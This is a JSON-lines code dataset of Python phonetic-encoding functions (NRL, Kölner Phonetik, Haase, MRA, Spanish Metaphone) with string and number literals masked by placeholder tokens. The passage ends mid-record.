{"signature": "def nrl(word):", "body": "return NRL().encode(word)<EOL>", "docstring": "Return the Naval Research Laboratory phonetic encoding of a word.\n\n    This is a wrapper for :py:meth:`NRL.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The NRL phonetic encoding\n\n    Examples\n    --------\n    >>> nrl('the')\n    'DHAX'\n    >>> nrl('round')\n    'rAWnd'\n    >>> nrl('quick')\n    'kwIHk'\n    >>> nrl('eaten')\n    'IYtEHn'\n    >>> nrl('Smith')\n    'smIHTH'\n    >>> nrl('Larsen')\n    'lAArsEHn'", "id": "f6598:m0"}
{"signature": "def encode(self, word):", "body": "def _to_regex(pattern, left_match=True):<EOL><INDENT>new_pattern = '<STR_LIT>'<EOL>replacements = {<EOL>'<STR_LIT:#>': '<STR_LIT>',<EOL>'<STR_LIT::>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:.>': '<STR_LIT>',<EOL>'<STR_LIT:%>': '<STR_LIT>',<EOL>'<STR_LIT:+>': '<STR_LIT>',<EOL>'<STR_LIT:U+0020>': '<STR_LIT>',<EOL>}<EOL>for char in pattern:<EOL><INDENT>new_pattern += (<EOL>replacements[char] if char in replacements else char<EOL>)<EOL><DEDENT>if left_match:<EOL><INDENT>new_pattern += '<STR_LIT:$>'<EOL>if '<STR_LIT>' not in pattern:<EOL><INDENT>new_pattern = '<STR_LIT>' + new_pattern<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new_pattern = '<STR_LIT>' + new_pattern.replace('<STR_LIT>', '<STR_LIT:$>')<EOL>if '<STR_LIT:$>' not in new_pattern:<EOL><INDENT>new_pattern += '<STR_LIT>'<EOL><DEDENT><DEDENT>return new_pattern<EOL><DEDENT>word = word.upper()<EOL>pron = '<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL>while pos < len(word):<EOL><INDENT>left_orig = word[:pos]<EOL>right_orig = word[pos:]<EOL>first = word[pos] if word[pos] in self._rules else '<STR_LIT:U+0020>'<EOL>for rule in self._rules[first]:<EOL><INDENT>left, match, right, out = rule<EOL>if right_orig.startswith(match):<EOL><INDENT>if left:<EOL><INDENT>l_pattern = _to_regex(left, left_match=True)<EOL><DEDENT>if right:<EOL><INDENT>r_pattern = _to_regex(right, left_match=False)<EOL><DEDENT>if (not left or re_match(l_pattern, left_orig)) and (<EOL>not right<EOL>or re_match(r_pattern, right_orig[len(match) :])<EOL>):<EOL><INDENT>pron += out<EOL>pos += len(match)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>pron += word[pos]<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>return pron<EOL>", "docstring": "Return the Naval Research Laboratory phonetic encoding of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The NRL phonetic encoding\n\n        Examples\n        --------\n        >>> pe = NRL()\n        >>> pe.encode('the')\n        'DHAX'\n        >>> pe.encode('round')\n        'rAWnd'\n        >>> pe.encode('quick')\n        'kwIHk'\n        >>> pe.encode('eaten')\n        'IYtEHn'\n        >>> pe.encode('Smith')\n        'smIHTH'\n        >>> pe.encode('Larsen')\n        'lAArsEHn'", "id": "f6598:c0:m0"}
{"signature": "def phonetic_spanish(word, max_length=-<NUM_LIT:1>):", "body": "return PhoneticSpanish().encode(word, max_length)<EOL>", "docstring": "Return the PhoneticSpanish coding of word.\n\n    This is a wrapper for :py:meth:`PhoneticSpanish.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to unlimited)\n\n    Returns\n    -------\n    str\n        The PhoneticSpanish code\n\n    Examples\n    --------\n    >>> phonetic_spanish('Perez')\n    '094'\n    >>> phonetic_spanish('Martinez')\n    '69364'\n    >>> phonetic_spanish('Gutierrez')\n    '83994'\n    >>> phonetic_spanish('Santiago')\n    '4638'\n    >>> phonetic_spanish('Nicol\u00e1s')\n    '6454'", "id": "f6599:m0"}
{"signature": "def encode(self, word, max_length=-<NUM_LIT:1>):", "body": "<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:L>')<EOL>word = word.replace('<STR_LIT:R>', '<STR_LIT:R>')<EOL>sdx = word.translate(self._trans)<EOL>if max_length > <NUM_LIT:0>:<EOL><INDENT>sdx = (sdx + ('<STR_LIT:0>' * max_length))[:max_length]<EOL><DEDENT>return sdx<EOL>", "docstring": "Return the PhoneticSpanish coding of word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to unlimited)\n\n        Returns\n        -------\n        str\n            The PhoneticSpanish code\n\n        Examples\n        --------\n        >>> pe = PhoneticSpanish()\n        >>> pe.encode('Perez')\n        '094'\n        >>> pe.encode('Martinez')\n        '69364'\n        >>> pe.encode('Gutierrez')\n        '83994'\n        >>> pe.encode('Santiago')\n        '4638'\n        >>> pe.encode('Nicol\u00e1s')\n        '6454'", "id": "f6599:c0:m0"}
{"signature": "def _delete_consecutive_repeats(self, word):", "body": "return '<STR_LIT>'.join(char for char, _ in groupby(word))<EOL>", "docstring": "Delete consecutive repeated characters in a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            Word with consecutive repeating characters collapsed to a single\n            instance\n\n        Examples\n        --------\n        >>> pe = _Phonetic()\n        >>> pe._delete_consecutive_repeats('REDDEE')\n        'REDE'\n        >>> pe._delete_consecutive_repeats('AEIOU')\n        'AEIOU'\n        >>> pe._delete_consecutive_repeats('AAACCCTTTGGG')\n        'ACTG'", "id": "f6601:c0:m0"}
{"signature": "def encode(self, word):", "body": "pass<EOL>", "docstring": "Encode phonetically.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform", "id": "f6601:c0:m1"}
{"signature": "def encode_alpha(self, word):", "body": "return self.encode(word)<EOL>", "docstring": "Encode phonetically using alphabetic characters.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The word transformed", "id": "f6601:c0:m2"}
{"signature": "def mra(word):", "body": "return MRA().encode(word)<EOL>", "docstring": "Return the MRA personal numeric identifier (PNI) for a word.\n\n    This is a wrapper for :py:meth:`MRA.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The MRA PNI\n\n    Examples\n    --------\n    >>> mra('Christopher')\n    'CHRPHR'\n    >>> mra('Niall')\n    'NL'\n    >>> mra('Smith')\n    'SMTH'\n    >>> mra('Schmidt')\n    'SCHMDT'", "id": "f6602:m0"}
{"signature": "def encode(self, word):", "body": "if not word:<EOL><INDENT>return word<EOL><DEDENT>word = word.upper()<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word[<NUM_LIT:0>] + '<STR_LIT>'.join(<EOL>c for c in word[<NUM_LIT:1>:] if c not in self._uc_v_set<EOL>)<EOL>word = self._delete_consecutive_repeats(word)<EOL>if len(word) > <NUM_LIT:6>:<EOL><INDENT>word = word[:<NUM_LIT:3>] + word[-<NUM_LIT:3>:]<EOL><DEDENT>return word<EOL>", "docstring": "Return the MRA personal numeric identifier (PNI) for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The MRA PNI\n\n        Examples\n        --------\n        >>> pe = MRA()\n        >>> pe.encode('Christopher')\n        'CHRPHR'\n        >>> pe.encode('Niall')\n        'NL'\n        >>> pe.encode('Smith')\n        'SMTH'\n        >>> pe.encode('Schmidt')\n        'SCHMDT'", "id": "f6602:c0:m0"}
{"signature": "def koelner_phonetik(word):", "body": "return Koelner().encode(word)<EOL>", "docstring": "Return the K\u00f6lner Phonetik (numeric output) code for a word.\n\n    This is a wrapper for :py:meth:`Koelner.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The K\u00f6lner Phonetik value as a numeric string\n\n    Example\n    -------\n    >>> koelner_phonetik('Christopher')\n    '478237'\n    >>> koelner_phonetik('Niall')\n    '65'\n    >>> koelner_phonetik('Smith')\n    '862'\n    >>> koelner_phonetik('Schmidt')\n    '862'\n    >>> koelner_phonetik('M\u00fcller')\n    '657'\n    >>> koelner_phonetik('Zimmermann')\n    '86766'", "id": "f6603:m0"}
{"signature": "def koelner_phonetik_num_to_alpha(num):", "body": "return Koelner()._to_alpha(num)<EOL>", "docstring": "Convert a K\u00f6lner Phonetik code from numeric to alphabetic.\n\n    This is a wrapper for :py:meth:`Koelner._to_alpha`.\n\n    Parameters\n    ----------\n    num : str or int\n        A numeric K\u00f6lner Phonetik representation\n\n    Returns\n    -------\n    str\n        An alphabetic representation of the same word\n\n    Examples\n    --------\n    >>> koelner_phonetik_num_to_alpha('862')\n    'SNT'\n    >>> koelner_phonetik_num_to_alpha('657')\n    'NLR'\n    >>> koelner_phonetik_num_to_alpha('86766')\n    'SNRNN'", "id": "f6603:m1"}
{"signature": "def koelner_phonetik_alpha(word):", "body": "return Koelner().encode_alpha(word)<EOL>", "docstring": "Return the K\u00f6lner Phonetik (alphabetic output) code for a word.\n\n    This is a wrapper for :py:meth:`Koelner.encode_alpha`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The K\u00f6lner Phonetik value as an alphabetic string\n\n    Examples\n    --------\n    >>> koelner_phonetik_alpha('Smith')\n    'SNT'\n    >>> koelner_phonetik_alpha('Schmidt')\n    'SNT'\n    >>> koelner_phonetik_alpha('M\u00fcller')\n    'NLR'\n    >>> koelner_phonetik_alpha('Zimmermann')\n    'SNRNN'", "id": "f6603:m2"}
{"signature": "def encode(self, word):", "body": "def _after(word, pos, letters):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return pos > <NUM_LIT:0> and word[pos - <NUM_LIT:1>] in letters<EOL><DEDENT>def _before(word, pos, letters):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return pos + <NUM_LIT:1> < len(word) and word[pos + <NUM_LIT:1>] in letters<EOL><DEDENT>sdx = '<STR_LIT>'<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if not word:<EOL><INDENT>return sdx<EOL><DEDENT>for i in range(len(word)):<EOL><INDENT>if word[i] in self._uc_v_set:<EOL><INDENT>sdx += '<STR_LIT:0>'<EOL><DEDENT>elif word[i] == '<STR_LIT:B>':<EOL><INDENT>sdx += '<STR_LIT:1>'<EOL><DEDENT>elif word[i] == '<STR_LIT:P>':<EOL><INDENT>if _before(word, i, {'<STR_LIT:H>'}):<EOL><INDENT>sdx += '<STR_LIT:3>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT:1>'<EOL><DEDENT><DEDENT>elif word[i] in {'<STR_LIT:D>', '<STR_LIT:T>'}:<EOL><INDENT>if _before(word, i, {'<STR_LIT:C>', '<STR_LIT:S>', '<STR_LIT>'}):<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT:2>'<EOL><DEDENT><DEDENT>elif word[i] in {'<STR_LIT:F>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>sdx += '<STR_LIT:3>'<EOL><DEDENT>elif word[i] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>sdx += '<STR_LIT:4>'<EOL><DEDENT>elif word[i] == '<STR_LIT:C>':<EOL><INDENT>if _after(word, i, {'<STR_LIT:S>', '<STR_LIT>'}):<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>elif i == <NUM_LIT:0>:<EOL><INDENT>if _before(<EOL>word, i, {'<STR_LIT:A>', '<STR_LIT:H>', '<STR_LIT>', '<STR_LIT:L>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT:R>', '<STR_LIT>', '<STR_LIT:X>'}<EOL>):<EOL><INDENT>sdx += '<STR_LIT:4>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif _before(word, i, {'<STR_LIT:A>', '<STR_LIT:H>', '<STR_LIT>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:X>'}):<EOL><INDENT>sdx += '<STR_LIT:4>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif word[i] == '<STR_LIT:X>':<EOL><INDENT>if _after(word, i, {'<STR_LIT:C>', '<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif word[i] == '<STR_LIT:L>':<EOL><INDENT>sdx += '<STR_LIT:5>'<EOL><DEDENT>elif word[i] in {'<STR_LIT:M>', '<STR_LIT:N>'}:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>elif word[i] == '<STR_LIT:R>':<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>elif word[i] in {'<STR_LIT:S>', '<STR_LIT>'}:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>sdx = self._delete_consecutive_repeats(sdx)<EOL>if sdx:<EOL><INDENT>sdx = sdx[:<NUM_LIT:1>] + sdx[<NUM_LIT:1>:].replace('<STR_LIT:0>', '<STR_LIT>')<EOL><DEDENT>return sdx<EOL>", "docstring": "Return the K\u00f6lner Phonetik (numeric output) code for a word.\n\n        While the output code is numeric, it is still a str because 0s can lead\n        the code.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The K\u00f6lner Phonetik value as a numeric string\n\n        Example\n        -------\n        >>> pe = Koelner()\n        >>> pe.encode('Christopher')\n        '478237'\n        >>> pe.encode('Niall')\n        '65'\n        >>> pe.encode('Smith')\n        '862'\n        >>> pe.encode('Schmidt')\n        '862'\n        >>> pe.encode('M\u00fcller')\n        '657'\n        >>> pe.encode('Zimmermann')\n        '86766'", "id": "f6603:c0:m0"}
{"signature": "def _to_alpha(self, num):", "body": "num = '<STR_LIT>'.join(c for c in text_type(num) if c in self._num_set)<EOL>return num.translate(self._num_trans)<EOL>", "docstring": "Convert a K\u00f6lner Phonetik code from numeric to alphabetic.\n\n        Parameters\n        ----------\n        num : str or int\n            A numeric K\u00f6lner Phonetik representation\n\n        Returns\n        -------\n        str\n            An alphabetic representation of the same word\n\n        Examples\n        --------\n        >>> pe = Koelner()\n        >>> pe._to_alpha('862')\n        'SNT'\n        >>> pe._to_alpha('657')\n        'NLR'\n        >>> pe._to_alpha('86766')\n        'SNRNN'", "id": "f6603:c0:m1"}
{"signature": "def encode_alpha(self, word):", "body": "return koelner_phonetik_num_to_alpha(koelner_phonetik(word))<EOL>", "docstring": "Return the K\u00f6lner Phonetik (alphabetic output) code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The K\u00f6lner Phonetik value as an alphabetic string\n\n        Examples\n        --------\n        >>> pe = Koelner()\n        >>> pe.encode_alpha('Smith')\n        'SNT'\n        >>> pe.encode_alpha('Schmidt')\n        'SNT'\n        >>> pe.encode_alpha('M\u00fcller')\n        'NLR'\n        >>> pe.encode_alpha('Zimmermann')\n        'SNRNN'", "id": "f6603:c0:m2"}
{"signature": "def haase_phonetik(word, primary_only=False):", "body": "return Haase().encode(word, primary_only)<EOL>", "docstring": "Return the Haase Phonetik (numeric output) code for a word.\n\n    This is a wrapper for :py:meth:`Haase.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    primary_only : bool\n        If True, only the primary code is returned\n\n    Returns\n    -------\n    tuple\n        The Haase Phonetik value as a numeric string\n\n    Examples\n    --------\n    >>> haase_phonetik('Joachim')\n    ('9496',)\n    >>> haase_phonetik('Christoph')\n    ('4798293', '8798293')\n    >>> haase_phonetik('J\u00f6rg')\n    ('974',)\n    >>> haase_phonetik('Smith')\n    ('8692',)\n    >>> haase_phonetik('Schmidt')\n    ('8692', '4692')", "id": "f6604:m0"}
{"signature": "def encode(self, word, primary_only=False):", "body": "def _after(word, pos, letters):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if pos > <NUM_LIT:0> and word[pos - <NUM_LIT:1>] in letters:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL><DEDENT>def _before(word, pos, letters):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if pos + <NUM_LIT:1> < len(word) and word[pos + <NUM_LIT:1>] in letters:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL><DEDENT>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>variants = []<EOL>if primary_only:<EOL><INDENT>variants = [word]<EOL><DEDENT>else:<EOL><INDENT>pos = <NUM_LIT:0><EOL>if word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>variants.append(('<STR_LIT>', '<STR_LIT>'))<EOL>pos += <NUM_LIT:2><EOL><DEDENT>len_3_vars = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:O>',<EOL>'<STR_LIT>': '<STR_LIT:O>',<EOL>}<EOL>while pos < len(word):<EOL><INDENT>if word[pos : pos + <NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>variants.append(('<STR_LIT>', '<STR_LIT:I>'))<EOL>pos += <NUM_LIT:4><EOL><DEDENT>elif word[pos : pos + <NUM_LIT:3>] in len_3_vars:<EOL><INDENT>variants.append(<EOL>(word[pos : pos + <NUM_LIT:3>], len_3_vars[word[pos : pos + <NUM_LIT:3>]])<EOL>)<EOL>pos += <NUM_LIT:3><EOL><DEDENT>elif word[pos : pos + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>variants.append(('<STR_LIT>', '<STR_LIT>'))<EOL>pos += <NUM_LIT:2><EOL><DEDENT>elif len(word[pos:]) == <NUM_LIT:3> and word[pos:] == '<STR_LIT>':<EOL><INDENT>variants.append(('<STR_LIT>', '<STR_LIT:O>'))<EOL>pos += <NUM_LIT:3><EOL><DEDENT>elif len(word[pos:]) == <NUM_LIT:1> and word[pos:] in {'<STR_LIT:A>', '<STR_LIT:O>'}:<EOL><INDENT>if word[pos:] == '<STR_LIT:O>':<EOL><INDENT>variants.append(('<STR_LIT:O>', '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>variants.append(('<STR_LIT:A>', '<STR_LIT>'))<EOL><DEDENT>pos += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>variants.append((word[pos],))<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>variants = ['<STR_LIT>'.join(letters) for letters in product(*variants)]<EOL><DEDENT>def _haase_code(word):<EOL><INDENT>sdx = '<STR_LIT>'<EOL>for i in range(len(word)):<EOL><INDENT>if word[i] in self._uc_v_set:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>elif word[i] == '<STR_LIT:B>':<EOL><INDENT>sdx += '<STR_LIT:1>'<EOL><DEDENT>elif word[i] == '<STR_LIT:P>':<EOL><INDENT>if _before(word, i, {'<STR_LIT:H>'}):<EOL><INDENT>sdx += '<STR_LIT:3>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT:1>'<EOL><DEDENT><DEDENT>elif word[i] in {'<STR_LIT:D>', '<STR_LIT:T>'}:<EOL><INDENT>if _before(word, i, {'<STR_LIT:C>', '<STR_LIT:S>', '<STR_LIT>'}):<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT:2>'<EOL><DEDENT><DEDENT>elif word[i] in {'<STR_LIT:F>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>sdx += '<STR_LIT:3>'<EOL><DEDENT>elif word[i] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>sdx += '<STR_LIT:4>'<EOL><DEDENT>elif word[i] == '<STR_LIT:C>':<EOL><INDENT>if _after(word, i, {'<STR_LIT:S>', '<STR_LIT>'}):<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>elif i == <NUM_LIT:0>:<EOL><INDENT>if _before(<EOL>word,<EOL>i,<EOL>{'<STR_LIT:A>', '<STR_LIT:H>', '<STR_LIT>', '<STR_LIT:L>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT:R>', '<STR_LIT>', '<STR_LIT:X>'},<EOL>):<EOL><INDENT>sdx += '<STR_LIT:4>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif _before(word, i, {'<STR_LIT:A>', '<STR_LIT:H>', '<STR_LIT>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:X>'}):<EOL><INDENT>sdx += '<STR_LIT:4>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif word[i] == '<STR_LIT:X>':<EOL><INDENT>if _after(word, i, {'<STR_LIT:C>', '<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif word[i] == '<STR_LIT:L>':<EOL><INDENT>sdx += '<STR_LIT:5>'<EOL><DEDENT>elif word[i] in {'<STR_LIT:M>', '<STR_LIT:N>'}:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>elif word[i] == '<STR_LIT:R>':<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT>elif word[i] in {'<STR_LIT:S>', '<STR_LIT>'}:<EOL><INDENT>sdx += '<STR_LIT>'<EOL><DEDENT><DEDENT>sdx = self._delete_consecutive_repeats(sdx)<EOL>return sdx<EOL><DEDENT>encoded = tuple(_haase_code(word) for word in variants)<EOL>if len(encoded) > <NUM_LIT:1>:<EOL><INDENT>encoded_set = set()<EOL>encoded_single = []<EOL>for code in encoded:<EOL><INDENT>if code not in encoded_set:<EOL><INDENT>encoded_set.add(code)<EOL>encoded_single.append(code)<EOL><DEDENT><DEDENT>return tuple(encoded_single)<EOL><DEDENT>return encoded<EOL>", "docstring": "Return the Haase Phonetik (numeric output) code for a word.\n\n        While the output code is numeric, it is nevertheless a str.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        primary_only : bool\n            If True, only the primary code is returned\n\n        Returns\n        -------\n        tuple\n            The Haase Phonetik value as a numeric string\n\n        Examples\n        --------\n        >>> pe = Haase()\n        >>> pe.encode('Joachim')\n        ('9496',)\n        >>> pe.encode('Christoph')\n        ('4798293', '8798293')\n        >>> pe.encode('J\u00f6rg')\n        ('974',)\n        >>> pe.encode('Smith')\n        ('8692',)\n        >>> pe.encode('Schmidt')\n        ('8692', '4692')", "id": "f6604:c0:m0"}
{"signature": "def spanish_metaphone(word, max_length=<NUM_LIT:6>, modified=False):", "body": "return SpanishMetaphone().encode(word, max_length, modified)<EOL>", "docstring": "Return the Spanish Metaphone of a word.\n\n    This is a wrapper for :py:meth:`SpanishMetaphone.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 6)\n    modified : bool\n        Set to True to use del Pilar Angeles & Bail\u00f3n-Miguel's modified version\n        of the algorithm\n\n    Returns\n    -------\n    str\n        The Spanish Metaphone code\n\n    Examples\n    --------\n    >>> spanish_metaphone('Perez')\n    'PRZ'\n    >>> spanish_metaphone('Martinez')\n    'MRTNZ'\n    >>> spanish_metaphone('Gutierrez')\n    'GTRRZ'\n    >>> spanish_metaphone('Santiago')\n    'SNTG'\n    >>> spanish_metaphone('Nicol\u00e1s')\n    'NKLS'", "id": "f6605:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:6>, modified=False):", "body": "def _is_vowel(pos):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return pos < len(word) and word[pos] in {'<STR_LIT:A>', '<STR_LIT:E>', '<STR_LIT:I>', '<STR_LIT:O>', '<STR_LIT>'}<EOL><DEDENT>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>meta_key = '<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL>if modified:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:S>')<EOL>if word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>word = word.replace('<STR_LIT>', '<STR_LIT:A>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:X>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:S>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:E>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:I>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:O>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:B>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:Y>')<EOL>while len(meta_key) < max_length:<EOL><INDENT>if pos >= len(word):<EOL><INDENT>break<EOL><DEDENT>current_char = word[pos]<EOL>if _is_vowel(pos) and pos == <NUM_LIT:0>:<EOL><INDENT>meta_key += current_char<EOL>pos += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if current_char in {<EOL>'<STR_LIT:D>',<EOL>'<STR_LIT:F>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:M>',<EOL>'<STR_LIT:N>',<EOL>'<STR_LIT:P>',<EOL>'<STR_LIT:T>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:L>',<EOL>'<STR_LIT:Y>',<EOL>}:<EOL><INDENT>meta_key += current_char<EOL>if word[pos + <NUM_LIT:1> : pos + <NUM_LIT:2>] == current_char:<EOL><INDENT>pos += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if current_char == '<STR_LIT:C>':<EOL><INDENT>if word[pos + <NUM_LIT:1> : pos + <NUM_LIT:2>] == '<STR_LIT:C>':<EOL><INDENT>meta_key += '<STR_LIT:X>'<EOL>pos += <NUM_LIT:2><EOL><DEDENT>elif word[pos + <NUM_LIT:1> : pos + <NUM_LIT:2>] in {'<STR_LIT:E>', '<STR_LIT:I>'}:<EOL><INDENT>meta_key += '<STR_LIT>'<EOL>pos += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>meta_key += '<STR_LIT>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>elif current_char == '<STR_LIT>':<EOL><INDENT>if word[pos + <NUM_LIT:1> : pos + <NUM_LIT:2>] in {'<STR_LIT:E>', '<STR_LIT:I>'}:<EOL><INDENT>meta_key += '<STR_LIT>'<EOL>pos += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>meta_key += '<STR_LIT>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>elif current_char == '<STR_LIT:H>':<EOL><INDENT>if _is_vowel(pos + <NUM_LIT:1>):<EOL><INDENT>meta_key += word[pos + <NUM_LIT:1>]<EOL>pos += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>meta_key += '<STR_LIT:H>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>elif current_char == '<STR_LIT>':<EOL><INDENT>if word[pos + <NUM_LIT:1> : pos + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>pos += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>pos += <NUM_LIT:1><EOL><DEDENT>meta_key += '<STR_LIT>'<EOL><DEDENT>elif current_char == '<STR_LIT>':<EOL><INDENT>meta_key += '<STR_LIT>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT>elif current_char == '<STR_LIT:R>':<EOL><INDENT>meta_key += '<STR_LIT:R>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT>elif current_char == '<STR_LIT:S>':<EOL><INDENT>if not _is_vowel(pos + <NUM_LIT:1>) and pos == <NUM_LIT:0>:<EOL><INDENT>meta_key += '<STR_LIT>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>meta_key += '<STR_LIT:S>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>elif current_char == '<STR_LIT>':<EOL><INDENT>meta_key += 